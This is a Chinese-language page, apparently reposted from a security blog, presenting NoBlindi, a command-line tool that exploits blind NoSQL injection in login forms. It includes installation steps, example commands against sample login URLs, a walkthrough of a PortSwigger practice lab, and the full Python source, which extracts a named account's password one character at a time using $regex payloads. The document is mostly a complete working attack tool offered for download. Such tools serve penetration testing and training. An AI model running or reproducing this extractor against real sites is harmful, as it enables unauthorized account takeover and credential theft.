NoBlindi NoSQL盲注漏洞识别利用工具

NoBlindi NoSQL盲注漏洞识别利用工具

NoBlindi简介

该工具旨在测试 Web 应用程序中 NoSQL 数据库的安全性。它专注于识别和利用盲 NoSQL 注入漏洞来恢复密码。它是一个命令行工具,可以轻松集成到各种测试工作流程中。

NoBlindi NoSQL盲注漏洞识别利用工具

特征:

  • 用于密码恢复的盲 NoSQL 注入
  • 针对针对性攻击的可定制参数
  • 简单的命令行界面
  • 跨平台兼容性和支持

安装

sudo git clone https://github.com/YasserREED/NoBlindi.git

切换到目录

cd NoBlindi/

下载需求库

pip install -r requirements.txt

通过python3打开工具

python3 NoBlindi.py -h

NoBlindi 帮助指南

python3 NoBlindi.py -h
python3 NoBlindi.py -u https://example.com/login -uf 'username' -pf password -rn 'admin' -b '{"username":"", "password":""}' -sc 200 -f "Invalid credentials"
python3 NoBlindi.py -u https://example.com/login -uf 'user' -un 'admin' -pf 'pass' -b '{"user":"", "pass":"", "redirect":"/dashboard", "security_question":"", "security_answer":""}' -sc 302 --redirect -sh "Authorization" -f "Login failed"
python3 NoBlindi.py -u https://examplecorp.com/admin -uf 'login' -pf password -un 'superadmin' -b '{"login":"", "password":"start123!", "last_active_timestamp":"", "login_count":"", "account_status":"active"}' -sc 200 -f "Access Denied"
python3 NoBlindi.py -u https://internalsite.example.org/login -uf 'username' -un 'root' -b '{"username":"", "password":"", "otp_code":"", "session_expiry":"1hr", "browser_info":"Mozilla/5.0"}' -sc 200 - "*+.?|{}[]"
python3 NoBlindi.py -u https://api.example.com/v1/authenticate -uf 'email' -un '[email protected]' -pf 'pwd' -b '{"email":"", "pwd":"", "api_key":"", "request_time":"2023-03-15T12:00:00Z", "client_version":"1.2.3"}' -sc 200 -sh "JWT-Token" -f "Unauthorized

用法

简单的例子:

python3 NoBlindi.py -u https://www.attacker.com/login -uf 'username' -pf password --username 'admin' -b '{"username":"", "password":""}'

创建自定义条件来检查遗嘱状态代码 200 和登录失败消息:

python3 NoBlindi.py -u https://www.attacker.com/login -uf 'username' -pf password --username 'admin' -b '{"username":"", "password":""}' -success_code 200 -f "Invalid username or password"

Portswigger 靶场

1- 访问实验室:
lab-nosql-injection-bypass-authentication

2-使用此命令解决 protswigger 实验室并检索管理员密码:

python3 NoBlindi.py -u https://0a7a0055033f04f080539ef200bc00b5.web-security-academy.net/login  -uf 'username' -pf password -rn 'admin' -b '{"username":"", "password":""}' -sc 302 -rn 'admin' -r

当我们运行命令时:

NoBlindi NoSQL盲注漏洞识别利用工具

工具完成后:

NoBlindi NoSQL盲注漏洞识别利用工具

下载地址

GitHub:
https://github.com/YasserREED/NoBlindi.zip

requirements.txt

requests==2.31.0

NoBlindi.py源码

import requests
import string
import argparse
import json
import platform
from typing import Dict

# Constants
DEFAULT_EXCLUDE_CHARS = '*+.?|'
DEFAULT_SUCCESS_CODE = 200
MAX_PASSWORD_LENGTH = 20
CONTENT_TYPE_JSON = 'application/json'
DEFAULT_USERNAME_FIELD = 'username'
DEFAULT_PASSWORD_FIELD = 'password'

def create_parser() -> argparse.ArgumentParser:
    """
    Create and return an argument parser for the script.
    """
    class CustomHelpFormatter(argparse.RawDescriptionHelpFormatter):
        pass

    parser = argparse.ArgumentParser(
        description="NoSQL Injection Blind tool for retrieving account password.",
        epilog="""
    Examples:
        python3 NoBlindi.py -u https://example.com/login -uf 'username' -pf password -rn 'admin' -b '{"username":"", "password":""}' -sc 200 -f "Invalid credentials"
        python3 NoBlindi.py -u https://example.com/login -uf 'user' -un 'admin' -pf 'pass' -b '{"user":"", "pass":"", "redirect":"/dashboard", "security_question":"", "security_answer":""}' -sc 302 --redirect -sh "Authorization" -f "Login failed"
        python3 NoBlindi.py -u https://examplecorp.com/admin -uf 'login' -pf password -un 'superadmin' -b '{"login":"", "password":"start123!", "last_active_timestamp":"", "login_count":"", "account_status":"active"}' -sc 200 -f "Access Denied"
        python3 NoBlindi.py -u https://internalsite.example.org/login -uf 'username' -un 'root' -b '{"username":"", "password":"", "otp_code":"", "session_expiry":"1hr", "browser_info":"Mozilla/5.0"}' -sc 200 - "*+.?|{}[]"
        python3 NoBlindi.py -u https://api.example.com/v1/authenticate -uf 'email' -un '[email protected]' -pf 'pwd' -b '{"email":"", "pwd":"", "api_key":"", "request_time":"2023-03-15T12:00:00Z", "client_version":"1.2.3"}' -sc 200 -sh "JWT-Token" -f "Unauthorized"
            """,
            formatter_class=CustomHelpFormatter
        )

    # Define arguments
    parser.add_argument('-u', '--url', required=True, help="Website URL, e.g., https://www.target.com/login")
    parser.add_argument('-un', '--username', help="Full username for login. Do not use with --regexname.")
    parser.add_argument('-rn', '--regexname', help="Pattern for the username to use as a regex. Will append '.*' automatically. Do not use with --username.")
    parser.add_argument('-uf', '--username_field', default=DEFAULT_USERNAME_FIELD, help="Field name for the username in the POST request.")
    parser.add_argument('-pf', '--password_field', default=DEFAULT_PASSWORD_FIELD, help="Field name for the password in the POST request.")
    parser.add_argument('-b', '--body', help="JSON string of the POST body excluding the username.")
    parser.add_argument('-ex', '--exclude', default=DEFAULT_EXCLUDE_CHARS, help="exlude unwanted characters in the brute-force attempt. By default exlude '*+.?|' use -e '$' to exlude more characters")
    parser.add_argument('-sc', '--success_code', type=int, default=DEFAULT_SUCCESS_CODE, help="HTTP response code that indicates a successful login.")
    parser.add_argument('-sh', '--success_header', help="Response header that must be present for a successful login.")
    parser.add_argument('-hv', '--header_value', help="Expected value for the specified success header.")
    parser.add_argument('-f', '--failure_message', help="String in the response body that indicates a failed login attempt.")
    parser.add_argument('-r', '--redirect', action='store_false', help="Prevent redirects. By default, redirects are allowed.")

    
    return parser

def validate_arguments(args: argparse.Namespace) -> None:
    """
    Validate the arguments provided to the script.
    """
    if args.username and args.regexname:
        raise ValueError("Use either --username or --regexname, not both.")
    if not args.username and not args.regexname:
        raise ValueError("One of --username or --regexname must be provided.")

def send_login_request(url: str, body: Dict, headers: Dict, allow_redirects: bool) -> requests.Response:
    """
    Send a POST request to the given URL with the provided body and headers.
    """
    try:
        return requests.post(url, headers=headers, json=body, allow_redirects=allow_redirects)
    except requests.RequestException as e:
        raise ValueError(f"Request failed: {e}")
        
def is_website_live(url: str) -> bool:
    """
    Check if the website is accessible.
    """
    try:
        response = requests.get(url)
        return response.status_code == 200
    except requests.RequestException as e:
        print(f"Failed to connect to {url}: {e}")
        return False

def is_login_successful(response: requests.Response, args: argparse.Namespace) -> bool:
    """
    Determine if the login attempt was successful.
    """
    if response.status_code != args.success_code:
        return False
    
    if args.success_header and response.headers.get(args.success_header) != args.header_value:
        return False

    if args.failure_message and args.failure_message in response.text:
        return False

    return True

def main():
    parser = create_parser()
    args = parser.parse_args()
    
    try:
        validate_arguments(args)
    except ValueError as e:
        parser.error(str(e))
        return
    
    # check if the website live
    if not is_website_live(args.url):
        print("[ERR] Failed to connect to the website.")
        exit(1)

    headers = {"Content-Type": CONTENT_TYPE_JSON}
    print(f"Starting password recovery for: {args.url}")

    # Process the JSON body
    if args.body:
        try:
            body = json.loads(args.body)
        except json.JSONDecodeError:
            if platform.system() == "Windows":
                print("-"* 40)
                print("\n JSON format error. If you're using Windows, make sure to escape quotes correctly. Example format:\n")
                print("""-b '{\\"username\\":\\"\\", \\"password\\":\\"\\"}'\n""")
                print("-"* 40)
            parser.error("\nInvalid JSON format in --body argument.")
            return
    else:
        body = {}

    # Define Redirect argument
    allow_redirects = args.redirect

    # Update the username in the body according to the arguments
    if args.regexname:
        body[args.username_field] = {"$regex": f"^{args.regexname}.*"}
    elif args.username:
        body[args.username_field] = args.username

    brute_force_password = ""
    previous_password = brute_force_password

    # Start the brute-force attempt
    while len(brute_force_password) < MAX_PASSWORD_LENGTH:
        found = False
        for character in string.printable:
            if character not in args.exclude:
                body[args.password_field] = {"$regex": f"^{brute_force_password + character}"}
                print(f"🔍 Trying password: {character}")
                
                response = send_login_request(args.url, body, headers, allow_redirects)

                if is_login_successful(response, args):   
                    print("\n" + "=" * 60)
                    print("✅ SUCCESS: Found character:", character)
                    print(f"🔑 Updated Password: {brute_force_password + character}")
                    print("-" * 60)
                    print("📬 Response Headers:")
                    print(f"HTTP Status: {response.status_code} {response.reason}")
                    for key, value in response.headers.items():
                        print(f"  {key}: {value}")
                    print("=" * 60 + "\n")

                    brute_force_password += character
                    found = True
                    break  # Move on to the next character
        
        if not found:
            print(f"\n🛑 No more characters found. Stopping at password: {brute_force_password}")
            break

    if brute_force_password == previous_password:
        print("🚫 No more characters to find. Password not found.")
    else:
        print(f"🎉 Recovered Password: {brute_force_password}")

if __name__ == "__main__":
    main()

项目地址

GitHub:
github.com/YasserREED/NoBlindi

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注